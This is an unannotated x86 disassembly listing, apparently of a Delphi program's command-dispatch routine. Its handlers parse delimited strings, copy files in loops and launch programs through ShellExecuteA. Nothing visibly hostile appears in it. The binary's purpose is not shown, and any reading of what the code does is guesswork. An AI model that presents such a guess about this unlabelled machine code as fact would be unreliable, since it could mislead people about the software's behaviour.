jmp case.0x4e0a7d.10
mov dword [0x54966c], 1
jmp case.0x4e0a7d.10
xor eax, eax
call fcn.004f8d9c
jmp case.0x4e0a7d.103
call fcn.004f8d80
jmp case.0x4e0a7d.103
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xaec]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xaec]
lea ecx, [ebp - 0xb8]
lea edx, [ebp - 0xfc]
call fcn.0046eae0
cmp dword [ebp - 0xfc], 0
jl case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [ebp - 0xfc]
je case.0x4e0a7d.10
lea eax, [ebp - 0xaf0]
mov edx, dword [ebp - 0xe4]
call fcn.00404e90
mov eax, dword [ebp - 0xaf0]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx + 0x10]
mov ecx, dword [ebp - 0xb8]
call fcn.0046ebbc
jmp case.0x4e0a7d.10
cmp dword [0x53f474], 0
je 0x4e6d82
mov dword [ebp - 0x50], 1
jmp 0x4e6d87
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c18
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xaf4]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xaf4]
push eax
lea eax, [ebp - 0xaf8]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xaf8]
mov edx, 0x4e7d80
pop ecx
call fcn.0046dba4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xafc]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xafc]
mov edx, 0x4e7d90
call fcn.0046d954
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xb00]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb00]
mov edx, 0x4e7da4
call fcn.0046d954
lea eax, [ebp - 0xb04]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov eax, dword [ebp - 0xb04]
push eax
lea eax, [ebp - 0xb08]
mov edx, dword [0x5408e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xb08]
mov edx, 0x4e7db8
pop ecx
call fcn.0046dba4
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xb0c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xb0c]
mov eax, 0x54988c
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x50]
mov eax, dword [eax + edx*4 + 0x10]
mov dword [0x53fad0], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cb70
cmp dword [0x53fad0], 0
jle case.0x4e0a7d.10
mov edx, dword [0x54988c]
mov eax, 0x4e7dcc
call fcn.00404bc8
test eax, eax
jle 0x4e6f44
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c940
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54988c]
call fcn.0047ca3c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047c9bc
jmp 0x4e6f78
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0047c940
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0047ca3c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x54988c]
call fcn.0047c9bc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x53fad0]
call fcn.0047cabc
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0047cb68
jmp case.0x4e0a7d.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x53f478], al
jmp case.0x4e0a7d.10
inc byte [0x53f478]
mov eax, dword [0x53f318]
call fcn.00473028
movsx edx, byte [0x53f478]
cmp eax, edx
jg case.0x4e0a7d.10
mov byte [0x53f478], 0xff
jmp case.0x4e0a7d.10
mov eax, dword [0x540cc4]
mov eax, dword [eax]
xor edx, edx
call fcn.004b90b8
jmp case.0x4e0a7d.10
mov eax, dword [0x5498a4]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4e0a7d.10
mov eax, dword [0x5406bc]
cmp dword [eax], 0
jne 0x4e700e
call fcn.004d3cdc
mov eax, dword [0x5405b4]
cmp dword [eax], 0
jne 0x4e701d
call fcn.004d4ffc
mov eax, dword [0x5407b8]
cmp dword [eax], 0
jne 0x4e702c
call fcn.004d5758
movsx eax, word [0x549898]
mov dword [0x5498a0], eax
mov ax, word [0x549898]
cmp ax, word [0x54989a]
jge 0x4e7062
movsx eax, word [0x54989a]
movsx edx, word [0x549898]
sub eax, edx
call fcn.004030b8
add dword [0x5498a0], eax
mov dword [0x5498a8], 0xffffffff
mov byte [0x53fad8], 1
jmp case.0x4e0a7d.112
mov byte [0x53fad8], 0
jmp case.0x4e0a7d.112
mov eax, dword [ebp - 0x2c]
mov ax, word [eax + 0x10]
mov word [0x549898], ax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
shr eax, 0x10
mov word [0x54989a], ax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x14]
and al, 1
mov byte [0x54989c], al
lea edx, [ebp - 0xb10]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xb10]
mov eax, dword [0x5498a4]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x5498a4]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4e0a7d.10
mov byte [0x53fad8], 0
jmp case.0x4e0a7d.10
cmp byte [0x53fad8], 0
je 0x4e70f8
mov dword [ebp - 0x50], 1
jmp 0x4e70fd
xor eax, eax
mov dword [ebp - 0x50], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c18
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jle case.0x4e0a7d.10
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed898
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edae4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee11c
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db5b4
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0xe8]
call fcn.0040460c
lea eax, [ebp - 0xb14]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb14]
mov eax, dword [ebp - 0xd4]
call fcn.0046aa5c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x68], 1
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 7
xor eax, eax
push ebp
push 0x4e72b3
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [0x54994c], eax
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
mov eax, dword [0x54994c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne 0x4e7262
mov edx, 0x4e7dd8
mov eax, dword [0x54994c]
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0
push 0
lea edx, [ebp - 0xb18]
mov eax, dword [0x54994c]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb18]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x20
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a7d.10
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
mov eax, dword [0x54994c]
call fcn.004037ac
ret
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x24], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c18
call fcn.00404bc8
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x4e7560
cmp dword [ebp - 0x50], 1
jle 0x4e7328
lea eax, [ebp - 0xf0]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
jmp 0x4e7333
lea eax, [ebp - 0xf0]
call fcn.004045b8
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c18
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
lea eax, [ebp - 0xe8]
call fcn.004db5b4
lea eax, [ebp - 0xe8]
call fcn.0046a994
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0x50]
mov edx, 1
call fcn.00404b24
mov edx, dword [ebp - 0xe4]
mov eax, 0x4e7c18
call fcn.00404bc8
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0xb1c]
push eax
mov ecx, dword [ebp - 0x50]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb1c]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea eax, [ebp - 0xb20]
push eax
mov edx, dword [ebp - 0x50]
inc edx
mov ecx, 0x61a8000
mov eax, dword [ebp - 0xe4]
call fcn.00404ae4
mov edx, dword [ebp - 0xb20]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e7450
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb24]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb24]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov ebx, eax
mov edx, ebx
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x48]
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e741c
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x4e74a7
inc eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 0
lea ecx, [ebp - 0xb2c]
mov edx, dword [ebp - 0x50]
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb2c]
lea eax, [ebp - 0xb28]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb28]
call fcn.00409988
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e746a
cmp dword [ebp - 0xf0], 0
je 0x4e7501
lea ecx, [ebp - 0xb34]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0xb34]
lea eax, [ebp - 0xb30]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov eax, dword [ebp - 0xb30]
push eax
lea eax, [ebp - 0xb38]
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xe8]
call fcn.004048d8
mov edx, dword [ebp - 0xb38]
pop eax
call fcn.004099a0
mov al, byte [0x4e7b8c]
push eax
lea eax, [ebp - 0xe4]
push eax
lea edx, [ebp - 0xb40]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0xb40]
lea edx, [ebp - 0xb3c]
call fcn.0040906c
mov eax, dword [ebp - 0xb3c]
mov ecx, 0x4e7c18
mov edx, 0x4e7dec
call fcn.0040d9ec
push 0
push 0
mov eax, dword [ebp - 0xe4]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0x22
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
mov eax, esi
call fcn.004037ac
mov eax, dword [ebp - 0x24]
call fcn.004037ac
jmp case.0x4e0a7d.10
cmp dword [0x5498ac], 0
je case.0x4e0a7d.10
lea eax, [ebp - 0xe4]
mov edx, 0x4e7df8
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e19c
lea eax, [ebp - 0xe8]
mov edx, 0x4e7e20
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb44]
push eax
mov ecx, dword [0x5498ac]
mov edx, 0x4e7e68
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb44]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb48]
push eax
mov ecx, dword [0x5498b0]
mov edx, 0x4e7e78
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb48]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb4c]
push eax
mov ecx, dword [0x5498b4]
mov edx, 0x4e7e88
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb4c]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb50]
push eax
mov ecx, 0x4e7e98
mov edx, 0x4e7ea8
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb50]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e7b94
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e7b7c
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x53fb58], 1
jmp case.0x4e0a7d.10
cmp dword [0x5498ac], 0
je case.0x4e0a7d.10
mov edx, 0x4e7df8
lea eax, [ebp - 0xe4]
call fcn.00404650
lea eax, [ebp - 0xe4]
call fcn.0046e19c
lea eax, [ebp - 0xe8]
mov edx, 0x4e7e20
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb54]
push eax
mov ecx, dword [0x5498ac]
mov edx, 0x4e7e68
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb54]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb58]
push eax
mov ecx, dword [0x5498b0]
mov edx, 0x4e7e78
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb58]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb5c]
push eax
mov ecx, dword [0x5498b4]
mov edx, 0x4e7e88
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb5c]
lea eax, [ebp - 0xe8]
call fcn.00404650
mov al, byte [0x4e7b94]
push eax
lea eax, [ebp - 0xb60]
push eax
mov ecx, dword [0x5498b8]
mov edx, 0x4e7ea8
mov eax, dword [ebp - 0xe8]
call fcn.0040d9ec
mov edx, dword [ebp - 0xb60]
lea eax, [ebp - 0xe8]
call fcn.00404650
push 0
push 0x4e7b94
mov eax, dword [ebp - 0xe8]
call fcn.00404a84
push eax
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
push 0x4e7b7c
push 0
call sub.shell32.dll_ShellExecuteA
mov byte [0x53fb58], 0
jmp case.0x4e0a7d.10
mov eax, dword [0x53fa88]
mov edx, dword [0x53fa8c]
cmp edx, dword [0x53f33c]
jne 0x4e780f
cmp eax, dword [0x53f338]
jbe 0x4e7850
jmp 0x4e7811
jle 0x4e7850
mov eax, dword [0x549834]
push eax
push 0
push 0
push 0
push 0x3e8
mov eax, dword [0x53fa88]
mov edx, dword [0x53fa8c]
sub eax, dword [0x53f338]
sbb edx, dword [0x53f33c]
call fcn.00405968
mov ecx, eax
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov eax, dword [0x549834]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xc7
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0xe4]
call fcn.004b53c0
xor eax, eax
mov dword [0x53f320], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e7af3
lea eax, [ebp - 0xb60]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xb08]
call fcn.00404cf0
lea eax, [ebp - 0xb04]
call fcn.004045b8
lea eax, [ebp - 0xb00]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xaf4]
call fcn.004045b8
lea eax, [ebp - 0xaf0]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xae4]
call fcn.004045b8
lea eax, [ebp - 0xae0]
mov edx, 3
call fcn.00404d08
lea eax, [ebp - 0xad4]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xacc]
mov edx, 4
call fcn.00404d08
lea eax, [ebp - 0xabc]
call fcn.004045b8
lea eax, [ebp - 0xab8]
mov edx, 6
call fcn.00404d08
lea eax, [ebp - 0xaa0]
call fcn.004045b8
lea eax, [ebp - 0xa9c]
mov edx, 5
call fcn.00404d08
lea eax, [ebp - 0xa88]
mov edx, 0x16
call fcn.004045dc
lea eax, [ebp - 0xa30]
call fcn.00404cf0
lea eax, [ebp - 0xa2c]
mov edx, 6
call fcn.004045dc
lea eax, [ebp - 0xa14]
call fcn.00404cf0
lea eax, [ebp - 0xa10]
mov edx, 0x10
call fcn.004045dc
lea eax, [ebp - 0x9d0]
mov edx, 0x27
call fcn.004045dc
lea eax, [ebp - 0x934]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0x92c]
mov edx, 0xe
call fcn.004045dc
lea eax, [ebp - 0x8f4]
call fcn.00404cf0
lea eax, [ebp - 0x8f0]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8e4]
call fcn.00404cf0
lea eax, [ebp - 0x8e0]
call fcn.004045b8
lea eax, [ebp - 0x8dc]
call fcn.00404cf0
lea eax, [ebp - 0x8d8]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x8cc]
call fcn.00404cf0
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xf4]
mov edx, 5
call fcn.004045dc
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xc0]
call fcn.004045b8
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xa0]
call fcn.004045b8
lea eax, [ebp - 0x90]
call fcn.004045b8
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0x74]
call fcn.004045b8
lea eax, [ebp - 0x6c]
mov edx, 4
call fcn.004045dc
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x19]
mov edx, dword [0x4707e0]
call fcn.00405348
ret